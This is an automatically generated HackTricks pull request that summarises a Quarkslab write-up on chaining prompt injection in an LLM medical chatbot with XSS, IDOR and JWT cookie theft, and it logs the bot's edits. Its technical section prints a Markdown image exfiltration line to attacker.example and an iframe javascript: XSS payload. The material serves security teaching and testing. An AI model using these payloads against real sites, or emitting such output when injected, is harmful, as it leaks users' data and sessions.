From Prompt to Pwned Chaining LLM and Web Vulnerabilities to...

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: http://blog.quarkslab.com/from-prompt-to-pwned-chaining-llm-and-web-bugs-to-admin.html
• Blog Title: From Prompt to Pwned: Chaining LLM and Web Vulnerabilities to Administrator Takeover
• Suggested Section: AI Security > AI Security Methodology, under a new subsection or page titled "Insecure LLM Output Handling and Prompt Injection to XSS"; cross-reference Pentesting Web > XSS, IDOR, and Cookies Hacking

🎯 Content Summary

Overview and impact

The post documents a vulnerability chain discovered during a real production assessment and reproduced in the FailMed AI medical-assistant lab. It combines unbounded LLM consumption, prompt injection, insecure handling of LLM-generated output, insufficient Content Security Policy protection, insecure JWT cookie attributes, and an Insecure Direct Object Reference (IDOR). The final chain lets an attacker store JavaScript in a chatbot conversation, cause another authe...

🔧 Technical Details

LLM-assisted Markdown exfiltration: If attacker-controlled prompts can influence LLM output that is subsequently rendered as Markdown, instruct the model to generate an external resource such as ![image](https://attacker.example/image.png?q=[DATA]). Ask the model to place sensitive context, optionally Base64-encoded, into [DATA]. Rendering the response makes the victim's browser request the attacker-controlled URL, exposing the value in HTTP logs. This applies wherever the model can access sensitive data and remote Markdown resources are not removed, restricted, or safely proxied.

LLM output as an XSS sink: An HTML-capable Markdown renderer becomes an XSS sink when it receives attacker-influenced model output without robust sanitization. Prompt injection can make the model emit active markup such as <iframe src='javascript:alert("Quarkslab")'>. If the renderer accepts the element and CSP does n...

🤖 Agent Actions

Plan:

1. Map the AI, XSS, IDOR, cookie, and LLM-testing documentation and read at least five relevant pages.
2. Compare the supplied research against existing coverage and select one best-fit file.
3. Add only novel, concise techniques with numbered citations and references.
4. Validate formatting, links, duplication, and the final diff.
   Repository mapping is complete. I’m now checking the closest AI and web-security pages for overlap, citation style, and the best single-file placement before editing.
   The existing AI-Prompts.md page is the best fit: it already covers prompt injection, model-output exfiltration, and LLM scanners, while the web pages already document generic Markdown XSS, IDOR, CSP, and cookie semantics. I’ll add only the novel LLM-to-browser chain there and cross-link—not duplicate—the web techniques.
   The edit is in place and static validation has passed. I’m doing the final book build and diff audit now to catch any mdBook parsing or link regressions.
   Updated src/AI/AI-Prompts.md with:

• LLM-generated Markdown exfiltration.
• Prompt injection into HTML/XSS sinks.
• IDOR-assisted cross-user stored XSS and JWT theft chain.
• Nondeterministic testing guidance using Spikee, Garak, and PyRIT.
• Technical hardening guidance and links to existing XSS, IDOR, cookies, and CSP pages.
• Numbered Quarkslab reference and citations.

Validation passed: internal links, reference numbering, final banner, forbidden-source check, and git diff --check. mdbook was unavailable locally, so the full build was skipped.

---

This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.

[carlospolop]

🔗 Additional Context

Original Blog Post: http://blog.quarkslab.com/from-prompt-to-pwned-chaining-llm-and-web-bugs-to-admin.html

Content Categories: Based on the analysis, this content was categorized under "AI Security > AI Security Methodology, under a new subsection or page titled "Insecure LLM Output Handling and Prompt Injection to XSS"; cross-reference Pentesting Web > XSS, IDOR, and Cookies Hacking".

Repository Maintenance:

• MD Files Formatting: 1029 files processed

Review Notes:

• This content was automatically processed and may require human review for accuracy
• Check that the placement within the repository structure is appropriate
• Verify that all technical details are correct and up-to-date
• All .md files have been checked for proper formatting (headers, includes, etc.)

Bot Version: HackTricks News Bot v1.0